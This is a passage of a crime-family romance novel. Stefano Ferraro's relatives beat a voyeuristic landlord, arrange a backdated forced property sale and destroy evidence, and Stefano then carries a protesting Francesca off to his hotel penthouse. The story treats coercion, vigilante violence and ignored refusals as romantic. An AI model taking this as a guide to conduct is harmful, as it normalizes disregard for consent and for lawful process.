Joanna knew where the borders were. Francesca didn't. Joanna knew that anyone living in their neighborhood was protected inside their borders and would be watched over and avenged if anything happened outside of them. Francesca was vulnerable where she was. Joanna knew that. The moment she heard Stefano claim Francesca as his, she should have insisted her friend move within the borders or at least come to him and tell him the situation. Anything could have happened to her.
Emilio had been very uneasy just entering the apartment building. Everyone in the Ferraro family was born with a psychic gift. Most weren't shadow riders, but they were sensitive to the world around them. If Emilio said something was wrong in that building, there was no question that he was right.
Stefano stepped from the tube and waited until the car glided up, hovering at the curb, Taviano behind the wheel. He could have caught the ride with his younger brother, but he had needed to be alone. He was far angrier at himself than he'd ever been in his life. His first duty was to Francesca. He should have ensured her safety before anything else—even a job. Without her, there would be no future generations.
The Ferraro family needed her to survive. _He_ needed her. Now that he knew of her existence, it was all he could think about. His own woman. He'd never really believed he would find her. To have her just show up, walk right through his territory, her shadow reaching for his, connecting so strongly with his that the jolt had felt like a lightning bolt flashing through his entire body.
He took a deep breath and tried to let some of the anger go. He would need to keep his foul temper under control to get her to cooperate. If Emilio lost his temper looking at this place, Stefano was fairly certain he'd lose his mind. She wasn't staying—and there was going to be retribution.
There was no keypad on the outer wall beside the door. Anyone could enter, not just the residents. No safety features whatsoever. His gut tightened and his jaw clenched. With controlled violence, Stefano yanked open the door and stepped inside the building. He stopped just inside, taking a deep breath as he looked around him. The lighting was very dim, only a few of the overhead lightbulbs actually working. The elevator was to his left. It looked like a death trap. The stairway was to his right, and that didn't look much better. Again, the lighting was poor. Half of the stairs appeared to be in the dark.
Enzo slid out of the murky darkness, coming from around the corner. Renato and Romano Greco, in their distinctive dark suits, the dark purple ties indicating to their family they were investigators, possessing the ability to hear lies, lounged near the door to the first apartment. Giovanni approached from the far corner. He didn't look happy.
Renato gestured toward the door. "He's in there. Name's Bart Tidwell. He's got a rap sheet you wouldn't believe. Inherited the building from his daddy. The daddy was just as fucked up as he is."
"What kind of rap sheet?" Stefano asked, knowing just by his gut instinct he wasn't going to like it. He didn't need the look of utter distaste on either of his cousins' faces.
"B and E, multiple counts. Armed robbery. More importantly, he's a sex offender. Two counts of aggravated rape. Served time on one of them. Several arrests after that, but every time since then the charges have been dropped. Stefano, each time, the alleged rape occurred in his building," Romano warned. "He fancies himself a fighter, ex-boxer, and he likes to go to bars and beat the shit out of people. Again, the charges are always dropped."
"He have family? Someone who would put pressure on the witnesses or victim for him?" Stefano asked.
"We're still digging. The only person in his life that appears to be constant is his lawyer." He glanced at his watch. "Facts are still coming in. _Mamma e papa_ are still working that angle. Stefano, the lawyer is Adamo Bergenmire. He's the head lawyer for the Saldi family."
There was a small silence. "Damn it," Enzo said softly. "We should have known that fucking family would be involved."
Stefano shrugged. "We've already got a feud going with them. We have had for centuries. What the hell difference will it make if we piss them off again? I'm happy to stick it to them any chance we get. It's not like the old days, Giovanni, when they could wipe out all of us in one shot. We got smart. They can't get to all of us and they know it. They order a hit and someone's going to be slitting their throats right in their bedrooms."
"We don't retaliate like they do, killing every man, woman and child," Renato said. "Don't have it in us and they know it."
Stefano nodded. "But we've retaliated enough that the bosses fear us. They aren't going to come after us because there's a connection between Tidwell and the Saldi family. Hell, they'll probably be happy to get rid of the pain in their ass. Let's pay him a little visit." Stefano glanced at Enzo. "You have men upstairs?"
"Do you need to ask? I called in half our crew to protect her. Ricco's watching her door personally. Had a couple of nonresidents on the floor, but they left when they saw us. We weren't trying to be invisible." He sounded as grim as Stefano felt.
Romano knocked on the owner's apartment door. Hard. Controlled anger in the sound. Within a minute the door was flung open, the occupant cursing at them. He was a big man, bald, with roped muscles and a scowl meant to intimidate. He wore jeans and a wifebeater. There was a beer in his hand.
Stefano stepped into him, delivering a short, hard punch into the belly, and the man folded. Stefano walked him backward into the apartment, his men coming in behind him. Enzo closed the door and stood against it while Romano prowled through the apartment to ensure they were alone.
The room was messy, beer bottles everywhere. It stank of a combination of cigarettes and weed.
"You're going to want to take a look at this, Stefano," Romano said, poking his head out of the room at the far end of the apartment.
Stefano skirted around Tidwell and glanced into the bedroom. There was a bank of screens set up along one wall. Each screen showed an occupant's bedroom. A recorder displayed a green light beneath each screen, clearly spying on the women dressing, undressing, bringing in men and performing various sexual acts meant to be strictly private. Rows of labeled home-recorded DVDs were on the shelves.
Stefano immediately suspected this was why the charges of rape had been dropped. Tidwell showed his victims tapes and threatened to put them on the Internet. The third screen from the left showed Francesca asleep on a sleeping bag in the corner of the room, her long hair spread across a pillow. There was no furniture in the room at all. His coat hung on a single hanger above her head. In the opposite corner was a small bag. He presumed her clothes were in it.
He ran his fingers along the DVDs, finding the latest ones, the recordings labeled _Francesca_. He shoved one in the player and watched as Francesca walked through her door. She turned and pressed the lock and looked around the empty room. She was in his coat. His stomach settled just a little, feeling as if she at least had that protection. Very carefully she shrugged out of his coat and hung it on the only hanger. She stood in front of it, smoothing out imaginary wrinkles, her hands lingering. He liked that. Too much. His gut tightened. She looked vulnerable. Sad. His heart clenched. She pulled her blouse over her head and very carefully folded it, standing in her bra and jeans. Rage ripped through him.
Bart Tidwell had watched his woman undress and shower. He'd violated her privacy. Invaded her home. Swearing, Stefano watched as she stepped into the shower to start the water. Her hands went to the back of her bra and he switched the video off. Gathering up everything that said _Francesca_ , including the one still recording, he caught up one more that he was certain depicted a rape—just in case he had no choice but to prove to Francesca he was telling the truth when he took her the hell out of there. He had a feeling she'd resist, and he wasn't about to let her stay.
Stefano bit out several ugly words, ripped the cord from the wall and slammed the screen to the floor. It shattered with a loud crash. "I want all of these DVDs collected and destroyed. Every single one of them."
Enzo nodded. "What do you want done with him?"
"Who inherits the building if he disappears?"
Tidwell let out a mewing noise and frantically shook his head. Stefano glanced at him. The man was on his knees, his mouth bleeding, his nose broken and one cheek split open. Emilio had returned, and he was definitely nearly as angry as Stefano.
"No one," Romano reported. "It will be a nightmare for the tenants. Renato checked in. He has an aunt, but she's not listed as his heir, but my guess is when it's all straightened out, she'll be the one inheriting and she's married to a . . ."
"Saldi. Fucking building should be condemned," Emilio snarled. He took out a gun and pressed the barrel to Tidwell's head. "Pervert needs to die, Stefano. Give me the word."
"Not like that," Giovanni said. "You're as bad as my brother. Get Vinci. We'll need his expertise. Nothing like having a lawyer in the family. Stefano, let us take care of this piece of shit and you get your woman and get her the hell out of here."
"You take this building, Giovanni," Emilio said, "and we're going to be bleeding money into it for a long time. To include it, we'll have to expand our borders. We need a vote on that."
Stefano glared at him. "Fuck the vote. Some of these women have been through enough. He filmed his own rapes. Did you look at those titles? We can renovate the building and give them a decent place to live."
Tidwell tried to rise and Stefano turned and hit him. Stefano was enormously strong and the man went down as if he'd been hit with a baseball bat.
Emilio shrugged. "I guess I can't argue with that." He pulled his cell phone from his pocket. "I'll call Vinci and have him get over here to straighten this out."
Stefano pinned Tidwell with his eyes. Flat. Cold. Killer's eyes. "You want to sell this piece of real estate, don't you, Tidwell? It's nothing but an albatross around your neck."
"You don't know who you're fucking with." Tidwell spat on the floor at Stefano's feet, a mixture of blood and saliva.
Stefano raised his eyebrow. "You mean your connection to the Saldi family? We know. You get into a lot of trouble, Bart. A _lot_. You make Adamo work for his money, don't you? They have to continually send their top lawyer in to get your ass out of trouble. Then there's the muscle to scare the crap out of your victims and the witnesses. You're more trouble than you're worth."
"My aunt . . ."
"Thinks you're a piece of shit, and her husband _knows_ you are. Selling this building would make them happy, don't you think?" Stefano's voice was softer than ever. He pushed at the soft leather between his fingers, bringing Tidwell's attention to his thin gloves.
Tidwell licked his lips and then shook his head. "No. No. I don't want . . ."
Emilio crouched low and shoved his gun under Tidwell's chin. "That's too bad. My cousin's woman is in this building and you were violating her privacy. He's not a patient or forgiving man the way I am."
"I didn't know. I didn't know who she was. I swear, I wasn't going to touch her. I've stopped doing that. Adamo said if I did it again . . . I'm cured."
"You want to sell, don't you, Tidwell?" Stefano asked again, ignoring his confession and declaration.
Tidwell looked around the apartment, his gaze going cunning. "Yes. Yes. Let me up. I'll sign any papers."
Stefano smiled. It wasn't a nice smile, but then he wasn't feeling nice. Tidwell thought himself a fighter. He was big, and most bar fights he got into were with others not his size. They didn't have his skill.
"Let him up," he ordered softly.
Emilio stepped back and Tidwell exploded into action, rushing Stefano, trying to wrap him up with both arms. Stefano stepped to the side and slammed his fist deep into Tidwell's ribs. He felt the satisfying give beneath the devastating punch. Tidwell grunted. Turned white.
Stefano had trained from the time he was two years old. He'd never stopped training. His four brothers and sister had all been put through the same regimen as he had. They were pitted against the best opponents the family could find until they moved like lightning, smooth and fast, each punch or kick penetrating the body with such force, it shook up the insides, broke bones and damaged internal organs. They still trained every single day.
His cousins, although not riders, were all proficient as well. They worked together for the good of the family. It was drilled into them from birth. There was no other way of life but that constant training of the body, turning it into a weapon, and the education of the mind.
Stefano was fast, systematic and relentless. Tidwell didn't land a single punch. The beating was both brutal and savage. Deliberate. Inflicting as much pain as possible. Lamps were smashed, furniture overturned and beer bottles crushed as the boxer tried his best to get away from the punishing blows. Eventually, and way too soon as far as Stefano believed, Tidwell hit the floor hard. Stefano didn't end it there, but continued the vicious assault.
"You're going to kill him," Giovanni pointed out. "He needs to sign over the building. He's already unconscious."
Stefano stepped back immediately. In spite of his jacket, he hadn't worked up much of a sweat. "You know what to do when it's done, Giovanni," he said. "Make certain you drop a few hundred thousand into his account so it's all legit. We want the deal to be solid and to stand up under any scrutiny, especially if this fucker goes missing."
"Stefano," Giovanni cautioned. His tone was mild.
The two brothers locked gazes. Stared at each other while the temperature in the room seemed to go up and the air was so heavy with rage, it felt impossible to breathe.
"Damn it, Gee."
"I know. I feel the same way." Giovanni didn't look away.
Stefano sighed and shook his head. "Where do I put this rage?"
"Not here. You know that. Nothing close to us. Nothing personal. He has to be seen. We can beat the shit out of him, but that's all. We protect the family. Always."
"Fucking call New York. I want Geno in on this one," Stefano capitulated softly. His cousin Geno from New York would have to handle the problem of Bart Tidwell. He yanked out his cell phone and dialed a number.
"Yeah, Saldi, Stefano Ferraro. I'm standing here in this piece of shit's apartment. I understand he belongs to you."
There was silence.
"Tidwell," Stefano confirmed. "He was after my woman. He's got hundreds of recordings the cops would like to get ahold of. Rapes he committed. Watching the women in his building. He's got it right in his bedroom. That's how stupid this dumb fuck is."
The explosion of foul words on the other end of the phone was loud enough for everyone in the room to hear.
"Out of courtesy, we're going to destroy that evidence," Stefano assured, his voice soothing. "We'll leave the fucker on your doorstep. He'll be a little worse for wear, but that might be beneficial. He might listen. If not, well, that's up to you."
More silence while Stefano listened.
"No, Saldi, that's not what's going to happen." Stefano's voice dropped even lower. "He fucking went after my woman. He's going to pay, and he's damn lucky I feel in the mood to extend courtesy to you. He's going to hand over the building and he's going to get the beating of his life. He can count himself lucky that's all that's happening. He comes near what's mine again, I'll rip his fucking heart out. Got that? Are we clear? I hope we are, because if you really want to go to war over this piece of shit, I'm willing. That's how pissed I am right now."
More silence while the voice on the other end soothed him. Assured him the deal was fine. Stefano snapped his cell phone shut—the cell phone that made his brothers and sister laugh at him. He had a bad habit of throwing the damn thing whenever it pissed him off, which was often. They thought he should have a smartphone, the way they all did, but he liked slamming the damn thing closed when he was annoyed with whoever was on the other end. He looked at his brother. "I want Vinci to make certain the real estate deal is airtight. Tell Geno this weekend when we're at the club. If Tidwell's in Saldi's home, all the better."
"Sorry, Stefano. No." Emilio shook his head. "Not this one, cousin. This one's mine."
Stefano's gaze jumped to his cousin. "I had another job in mind for you, Emilio." They didn't like any other family member other than a rider to get blood on their hands if at all possible. Emilio had a kind heart, but he was a Ferraro through and through. He didn't like men who harmed women.
"What would that be?"
Stefano jerked his head toward the door. Reluctantly, Emilio followed him out into the hall. "Call Vittorio and tell him you'll meet him at Joanna's house. I want her woken up tonight. Have him drag her ass out of bed and down to you. The two of you get answers. Those answers had better make sense to me."
"Stefano," Emilio cautioned. "I know you have every right to be angry. No way did Joanna know that Francesca would be spied on by the owner of this dump."
"You and I both know Tidwell was setting up to fucking rape Francesca. Joanna sleeps good at night, and so does her family because of us. We give them that. The moment she knew Francesca was my woman she should have gotten her out of this shit hole. Tidwell _saw_ Francesca undressing. Showering. He looked at her without her consent. He's a fucking dead man, but Joanna needs to answer to _la famiglia_. You tell Vittorio that I don't like the answers, it will be me conducting the next interview and I won't be polite."
"Stefano . . ." Emilio cautioned.
"You like Joanna. You're friends with her family. So am I, but Emilio, right now, I don't trust myself. By now, Vittorio knows what is happening here. He'll be as pissed as I am. I need you to do this right."
There was a long silence. Emilio sighed. "You're not sending me away because . . ."
"No. I need to make certain none of us do anything stupid tonight. If I was the one questioning her, I have no idea what I'd do. I need you to do this for me, Emilio."
"Go get your woman, Stefano," Emilio advised, capitulating. "Everyone's going to feel a whole hell of a lot better when she's safe."
"Vinci has to make certain the deal is done a couple of days earlier. Can he get the papers filed with the correct dates?"
"That's his department, and he's never let us down. He's really good at what he does, Stefano. You can't micromanage this. Just go get her," Giovanni advised. "I'm holding on by a thread, too. One of us has to be sane here, and I'm going to lose it if you don't get her out of this place."
Stefano took a deep breath and clapped his brother on the shoulder. _Famiglia._ This was how it had worked for centuries. They had developed into a single entity. One stepping up when another needed them. Stefano was always the leader, but his brothers were more than capable of leading. They were every bit as dedicated and trained as he was. He was grateful for Giovanni. Right then, his temper had no outlet and he was thinking with his emotions, not his brain. Ordinarily, if it was personal, he would never have touched the mark, but he couldn't stop himself from going after Tidwell. He'd never had such a loss of control. He needed to get Francesca out of there as much as his brother and other family members needed him to do so.
He turned on his heel and made for the stairs. Ricco waited at the top. Their men were shadow figures, spread throughout the building, keeping Francesca from harm. The stairs were dark in several places, dangerous for anyone, let alone single women. The rage smoldering in the pit of his stomach grew with every step he took.
He was angry with Joanna, who had to have known this apartment building was worse than substandard. Most of all, he was angry with himself for not checking on Francesca's living conditions before he went out of town. He had assumed she was staying with Joanna until she got on her feet. It was a very misguided presumption. A mistake. Stefano didn't like making mistakes.
He was a protective man. He had been born that way. Every rider was. The need to protect and control was bred into every single one of them. Those two traits were so ingrained in them, there was no getting either characteristic out. No getting around them.
"One incident I didn't like," Ricco said. "Earlier, Enzo reported that a man, not a resident of the building, had twice come up to this floor. He actually walked right up to Francesca's door, paused, looked around, and when he spotted Enzo, took off. A few minutes ago, he actually came back into the building. There aren't any security cameras and he wore a hoodie. No one got a good look at his face, but from Enzo's description, I'm guessing it was the same man."
Stefano took a deep breath. What the hell was going on? Everything around him was spinning out of control when he was all about control—when control was absolutely necessary. He was taking control back. Francesca was just going to have to deal with the truth about him and the life she would lead with him as her man.
"Anyone sees him again, scoop him up and take him to the warehouse. I'm getting her out of here tonight. I'll take her to my penthouse suite at the Ferraro." Their hotel was a study in sheer luxury. He had several homes, scattered around the country and overseas as well, but when he was in Chicago, which was most of the time, he stayed at the hotel in the penthouse.
Ricco nodded and trailed after his brother. Stefano knew his brother wasn't protecting him so much as protecting anyone who might try to stop him. The second flight of stairs was almost completely dark, lit only by one dull bulb, which gave off little light. The carpet was filthy and threadbare. Anyone could trip and fall with the holes in it. His temper rose another notch.
The long hallway was totally without light, other than what managed to spill in from the dirty windows at either end of the hall. Francesca's door was midway between the two windows. Stefano wondered if Tidwell had deliberately given her that apartment. Probably. He had to put the single women in apartments where cameras were already set up, although it was possible he had them in all the rooms.
He raised his hand, fingers in a tight fist and controlled his impulse to pound on the door, demanding entrance. Instead, he knocked quietly, his other hand automatically dropping to the doorknob. To his shock, the door inched open. He hadn't turned the knob. Just his gloved knuckles knocking so politely had been enough to spring the door open. What the hell was wrong with her? He glanced back at Ricco's face. It was set in stone, just the way, he was sure, his was.
Before he could jerk open the door and confront her, something made him crouch low and examine the lock. He could see the thin piece of tape placed over the mechanism—a simple but very effective method of preventing Francesca from locking the door.
"Fucker," he spat out, stepping back to show his brother.
"Let's get her the hell out of here, Stefano. Even if you have to carry her out like a caveman. Taviano's waiting in the car. Just get her and go before a bunch of us decide to burn this place to the ground with Tidwell in it."
Ricco's voice was strained. Stefano cursed again. The entire family was affected because he hadn't done his job. He hadn't taken charge of Francesca. He wanted time to court her. To give her that. To let her get to know him before he had to come clean about the shit life he was going to have to ask her to accept. He closed his eyes briefly. He knew it wasn't about asking her. He had to find a way to get her to accept not only him, but his life and his family, because there was no other choice. Worse, he wasn't just asking her to accept it for herself; she had to accept it for their children as well. He _detested_ that.
He stood slowly and pushed open the door. His heart stuttered in his chest. The door opened into a very small room—so small the closet in his master bedroom was larger. There wasn't a single stick of furniture. No chairs. No tables. Nothing at all. The room included a miniature kitchen with a single stained sink and tiny refrigerator. He detested that Francesca—or any woman—would have to stay alone in a place like this. Why hadn't he checked before he left for his job?
He walked into the next room to find her lying on a sleeping bag, her hair spread out over the pillow. The room was freezing. There was no heat coming from the old radiator and she shivered continuously in her sleep. She would have done better to have his coat covering the sleeping bag, but instead, it was hung carefully on a hanger a few feet from her head.
She looked very small under the thin sleeping bag. Her face was turned toward him and he thought she was the most beautiful thing he'd ever seen. Her lashes were exceptionally long and turned up on the ends. Black, like her hair. He crouched down beside her. Close.
" _Bambina_ , wake up." He kept his voice low. Soothing. Not wanting to scare her. He should have taken better care of her. None of this was her fault. He had to remember that when he wanted to put his fist through a wall—or through Tidwell—and rage at the world in general.
Her body jerked. The lashes fluttered. Lifted. He found himself staring into sea-blue eyes. Almost turquoise. Beautiful. The sight hit him low, a wicked punch to his groin. He took a breath. Fear crept into the startled blue of her eyes.
"Stefano." Francesca breathed the name. The room was dark, but enough light came through the curtainless window to illuminate Stefano Ferraro's very masculine features. His brooding eyes were on her face and her stomach did a slow roll. Her heart pounded so hard it actually hurt.
She couldn't just lie there with him staring down at her with his incredible eyes. Eyes that saw everything. Eyes that saw her shabby room with no furniture. Saw that she had _nothing_. Color crept into her face. She swept back her hair and struggled into a sitting position, holding the sleeping bag over her chest. She wore an old threadbare T-shirt and lacy boy-short underwear, the only thing she had bought new.
"What are you doing in my bedroom?" She tried to make it a demand, but her voice wasn't working correctly. She winced at the word _bedroom_ , wishing she had just said _apartment_. God. He was scary. He didn't move a muscle. He didn't blink. He was hot as Hades, and every single cell in her body responded to him. Was aware of him. Her breasts felt swollen and achy and she was very, very glad for the sleeping bag she had pulled up over her chest so he couldn't see her nipples getting hard.
No one had ever made her body come to life like he did. Just looking at him. Just smelling his cologne. It was humiliating. She knew she should be outraged that he was there in her apartment, but something was wrong. She could see it in his eyes. Her hand flew defensively to her throat.
"Joanna," she whispered. "Did something happen to her?" She would never forgive herself. Never. She shouldn't have come. She thought she'd covered her tracks, but money talked and if someone was still looking for her, they'd eventually find her—and anyone who helped her.
"She's fine, Francesca. You need to get up and come with me now."
She glanced beyond him to the door of her bedroom. Someone was in her front room. She couldn't make out who, but she saw a shadowy male figure.
Shoving back her hair with one hand, she held tightly to her sleeping bag with the other. "Just tell me, Stefano."
"You can't stay here."
Her heart stuttered at his expression. Grim. Implacable. His jaw tightened as though anticipating her argument—and she was going to argue.
"Well. No. This is where I live."
Something dangerous flickered in the depths of his eyes. He suddenly looked feral. Predatory. In that moment she could almost believe he was some sort of crime lord. He wasn't the kind of man to take no for an answer.
" _Bambina_ , you've got two choices. You can walk out of here dressed, or I'm carrying you out just the way you are. You fucking decide, because I've had it with this hellhole."
She swallowed hard. He wasn't joking. She held up one hand to ward him off. "How did you get in here?"
"Are you fucking kidding me? Your fucking door wasn't even locked, Francesca."
He was _really_ furious to throw so many F-bombs at her. "No. It was. I locked it." She narrowed her eyes at him. "I'm not stupid, Stefano. I locked the door. How did you get in here?"
"I raised my hand to knock and the door opened on its own. There's a piece of tape over the mechanism to prevent it from locking."
There was the ring of truth in his voice and she felt panic rising. Her gaze skittered across the room toward her bedroom door. That door didn't lock. Only the main apartment door locked. "Who would do that? That doesn't make sense." Fear made her heart pound and put a strange taste in her mouth. "Just tell me what's going on."
"I'll tell you after I get you out of here and to somewhere I know you're safe. Come on, _dolce cuore_ , get up." His features softened.
She moistened her lips. His eyes were so beautiful they took her breath away. She would do anything to see that look on his face. Anything at all for him. With the exception of getting up and allowing him to see the shirt she wore. She couldn't just go with him without an explanation. That wasn't even reasonable. She found it far worse that he could see how little she had. The last thing she wanted was for him to pity her. Sheesh. This was so humiliating.
"I want you to leave. We can talk about this in the morning." She forced decisiveness into her voice. He couldn't really _force_ her to go with him. No one would actually carry out such a ridiculous threat.
His entire expression changed. His extremely masculine features went from soft to stone in the space of a single heartbeat. She knew immediately she was in trouble. He reached for her, hauling her into his arms, sleeping bag and all.
"Ricco, get my coat and her things. We'll be at the penthouse." Stefano tossed her easily over his shoulder and stood up as if she didn't weigh more than a sack of rice.
She caught at his shirt, upside down, staring at his backside. Clutching his jacket, she struggled against the iron band across her thighs. He ignored her and strode right out of the bedroom, past Ricco, who, when she lifted her head, smirked at her. Clearly, Ricco was another brother. They all looked alike, smug and full of arrogance.
"Put me down right this minute," she demanded. Breathless. Her belly was over his shoulder and he felt a little like an oak tree with no give.
"Too late, Francesca. Be still."
He stalked down the hall, and she caught glimpses of men falling into step behind him. Good God. Maybe he was part of a human trafficking ring and he was kidnapping her. What was wrong with her? She screamed. Loud.
His hand came down hard on her butt. She felt the sting right through the sleeping bag, although it didn't really hurt, but it did shock her into silence.
"I told you I'd get you to safety and then tell you what's going on," he snapped, his voice grim. "Just be still. I don't give a damn if you want to scream, but it's rather pointless. Do you really think in this apartment building anyone is going to stick their neck into our business?"
He was moving fast now, taking the stairs effortlessly. She felt a little dizzy and she clutched at his jacket harder.
"You're scaring me, Stefano," she admitted, hating that her voice trembled, but she was frightened.
"I know, _bambina_ , but you'll be fine. I've got you now and I'm going to keep you safe. Which you weren't in this rattrap. Just trust me for a few more minutes and then I'll explain everything. Can you give me that?"
She laid her head against his back, feeling his muscles ripple as he moved into the foyer of the apartment building. It wasn't as if she had much choice. The door to the owner's apartment was open and as they passed, she glimpsed men inside. The place was a wreck. Then they were out in the open air. He reached out and yanked open the door to the backseat of a town car. He was very gentle as he deposited her on the backseat, still cocooned in the sleeping bag. He slid in beside her, reaching to buckle her in.
The driver turned and tossed a cocky grin over his shoulder at her. "I'm Taviano, Stefano's brother. Nice to meet you, Francesca."
# CHAPTER SEVEN
"This is crazy. You're kidnapping me," Francesca managed to say, finally catching her breath. She wasn't certain if she couldn't breathe because Stefano had just showed her his ruthless side, or because he was the most attractive man she'd ever met in her life and her entire body responded in a very intimate way when he'd revealed that ruthless side. Why being thrown over his shoulder and carried through a building like a Viking captive should make her body damp and needy made no sense, but she couldn't deny that she felt intensely alive and wildly attracted to Stefano Ferraro.
She caught at the safety belt to jerk it off of her, but Stefano's hand closed over hers, preventing movement. "Calm the fuck down and stop fighting me. It won't do you any good, and I'm already pissed off. I don't like repeating myself, either."
Francesca subsided against the cool leather of the seats, shocked at his tone. At the sheer anger. Stefano was definitely skating close to an explosion. She didn't want to be anywhere around him when he detonated. "Wow. You wake me up in the middle of the night, without knocking on my door, I might add, and carry me out over your shoulder like I'm a sack of potatoes and you're the one angry."
A little snicker came from the driver and she glared at him in the mirror, but he didn't look at her, his gaze studiously on the road. Still, she knew he was laughing.
"I was gentle with you," Stefano reminded her. "So not like a sack of potatoes. I explained about the door, not that it would have stopped me had it been locked. You don't belong in that building and you damn well know it."
She winced at his tone. "Not everyone can afford to live at the Ritz." She gave him tone right back.
"I live at the Ferraro, not the Ritz, which is where we're going now."
Her mouth fell open. The Ferraro was considered the height of luxury. No one could afford it but the rich and famous. "You are not taking me to that place. I mean it."
"Why not?"
Her mouth opened several times but no sound emerged for the longest time. "Are you serious? I'm dressed in a sleeping bag. You can't walk through those doors without looking glamorous. They'll throw me out."
For the first time, a faint glint of humor crept into the deep blue of his eyes. " _Piccola_ , I own the hotel. I doubt anyone could do that without losing their job."
Total male amusement. She didn't think anything was funny about the situation. "No way. Drop me off at the nearest shelter." She stuck her chin in the air.
Stefano looked down at her, and the impact of meeting his penetrating blue eyes felt like an arrow piercing her chest straight to her heart. Her heart stuttered and her stomach did a slow roll. All trace of amusement was gone, leaving his jaw hard and his eyes burning with a fierce anger that threatened to scorch everyone in the car.
"You are telling me that you would rather go to a shelter than come to my hotel with me?" He bit out each word separately from behind perfect white clenched teeth. "Would you like to explain why?"
No, she wouldn't like to explain why. First, if she told him it was because he was wealthy, that would make her sound prejudiced, which if she were being entirely truthful, she was. Second, he was the hottest, sexiest man she'd ever come across in her entire life and already, in the close confines of the car, even upset at him, she couldn't stop her body's reaction to him.
"Do I have to have a reason?" She stuck her chin in the air.
Taviano snorted, and when she glared into the rearview mirror, he assumed an innocent mask.
"It wouldn't matter anyway, because your reason is as much bullshit as you staying in that firetrap of an apartment. The only reason the building hasn't been condemned is because Tidwell is related to the Saldis and they're notorious for bribing officials or threatening them."
"Like you're doing to me?" she challenged.
"I'm not bribing or threatening," Stefano denied flatly. "You just don't have a choice."
His voice was very low, velvet soft so that the tone played over her skin like fingers. She shivered and burrowed deeper into the threadbare sleeping bag.
"It's called kidnapping if I don't want to go with you."
"I don't give a damn what you call it, _dolce cuore_ , just so long as you're safe."
That was hard to argue with, especially since she was a little bit freaked out and unsure of what just happened. She was beginning to panic. "Taviano, you tell him he can't do this."
"Nice of you to join us tonight," Taviano said, glancing back in the rearview mirror. "I must say, my brother has good taste." The teasing note in his voice calmed her. "Even my parents gave up trying to tell him what he could or couldn't do when he was around ten," Taviano added, with a quick grin thrown at her through the mirror.
There was no help there, but then she'd been pretty certain Stefano's own brother wasn't going to get her out of this mess. Clearly he found the situation amusing.
She glanced at Stefano and then away, unable to meet his eyes. "I don't have any clothes." The confession slipped out. Low. Under her breath. She kept her gaze firmly on the floor of the vehicle.
"Francesca, look at me."
Her heart jumped and then began to pound again at his authoritative tone. She couldn't imagine anyone disobeying him. Her gaze jumped to his before she could stop it. It was a mistake. His eyes were glittering with a kind of menace she couldn't conceive. That, and something that made her stomach coil and the burn at the junction of her legs grow hotter.
"You're safe. Just settle. I'm pissed as hell and you aren't doing yourself any favors by trying to defy me."
She sucked in her breath sharply. " _Defy_ you?" She forgot all about being afraid or intimidated by him. "Like I'm some errant child you have to reprimand? You have got to be the most arrogant, annoying, bossy man I've ever encountered."
"That about sums him up," Taviano agreed, his grin widening. "We're here."
To her horror, he had really pulled up in front of the Ferraro Hotel. Taviano drove the car right up to the red carpet extending from the building, where several valets waited to jump into action the moment a car glided close.
"I'm not getting out," Francesca declared. "I'm dressed in a sleeping bag for God's sake. Really, Stefano, just take me to a shelter."
She should have known better than to expect Stefano to comply. Apparently he really didn't argue when he wanted his way—and he wanted his way. The valet opened the passenger door. Stefano slid out and reached for her.
"I'll scream."
"Go ahead, _bambina_. Make a scene. I don't mind. You're still going up to the penthouse with me." His tone was implacable.
"Stefano." She wasn't above pleading.
He ignored her, his hands gripping her right through the sleeping bag. He was enormously strong and there was no prying his fingers off of her. He dragged her out of the backseat, tossed her over his shoulder again and without saying a word to anyone, he walked right up to the double glass doors. The doors were already open for him, the doorman grinning and giving him a little salute.
Going into the Ferraro Hotel was the most embarrassing thing Francesca could possibly imagine. Clamping her mouth shut so she wouldn't scream in sheer frustration, she buried her face against his back, holding tightly to his shirt. She stayed very still, not wanting anyone to see her, but knowing everyone was looking. For one thing, Stefano Ferraro was hot and superrich and owned the entire hotel. Okay, maybe his family did, but still, who would expect him to be carrying a woman over his shoulder, upside down, cocooned in a sleeping bag? It was mortifying.
He went straight to a private elevator, keyed in a number and stepped inside. The doors glided closed. "Are you all right?"
"What do you think?" she snapped, pouring sarcasm into her voice. "You just carried me through the lobby of a luxury hotel in a sleeping bag."
His hand shifted from her thighs to her butt. She felt his palm right through the material of the sleeping bag. Her breath caught in her throat. She was furious. And scared. The way he had his fingers splayed wide over her bottom affected her more than she cared to admit. She was so aware of him it was a sin.
"I did give you a choice. I told you that you could get dressed and come with me or I was carrying you out." There was no remorse at all in his voice.
" _God._ Seriously, Stefano? That wasn't a choice." She wanted to pinch him really hard or sink her teeth into him, but he'd already smacked her on the butt once; she wasn't going for a second time. Mostly because she had a strange reaction to his hand connecting with her even through the thin layers of material. Heat had rushed through her, arcing straight to her sex. Every cell came alive. Between her legs she felt damp and needy. She had a difficult time pulling in air. All from that brief contact.
"I don't argue, Francesca. It's a waste of time. You were in danger there. I told you when I had you safe, I'd tell you what was going on but you clearly decided to argue."
"Do you think you could put me down?" It was sheer hell to be hanging upside down and trying to sound as if she were reasonable when all she wanted to do was bash him one.
"Are you going to hop like a bunny?"
Amusement tinged his voice and brought color spreading over her body. Her face was already red from hanging upside down. She couldn't see what floor he was going to, but the elevator ride was smooth and long. That meant they went up a _lot_ of floors. The one thing she held on to was that he had carried her publicly through the lobby. "People may have witnessed my most embarrassing moment, but they aren't going to forget it. If you plan on selling me to some human-trafficking ring, someone will remember."
"Good to know." Sarcasm dripped.
It wasn't as if she really thought he was going to sell her to the highest bidder, but he didn't have to sound so patronizing.
The elevator doors glided open and he stepped into a foyer. It was quite large and opulent. She caught a glimpse of a mahogany table with a huge vase that looked like cut crystal with an enormous fresh flower arrangement in it. The floor was polished and seemed to be marble. She closed her eyes, not wanting to see any more. This was a nightmare. When Stefano put her on his black leather couch, he did so very gently.
She swept back her hair with one hand, holding on to the sleeping bag with the other. Her hair was wild from sleeping without braiding it, but she'd just been too tired. Mostly, she was exhausted from thinking about Stefano, having ridiculous, impossible, erotic thoughts about him that sent blood rushing hotly through her veins straight to her core. Her dreams had been worse, images she had no experience or knowledge of, but all with him.
It was his fault she hadn't been able to fall asleep easily. His fault that her hair was a big mess, after sleeping on it and then being hung upside down. She glared at him, and if there was any justice in the world, he would have withered on the spot. Clearly there wasn't because he paced across the room, completely unaffected, like a caged tiger, poured himself a couple of fingers of liquor from a crystal decanter and threw it back as if it was water.
Francesca licked her lips. Something about the set of his shoulders, the line of his jaw and the fluid pacing took her breath. "Are you angry with me?"
His blue gaze jumped to her face. Slid over her and went back up to hold hers. Oh yeah. He was angry.
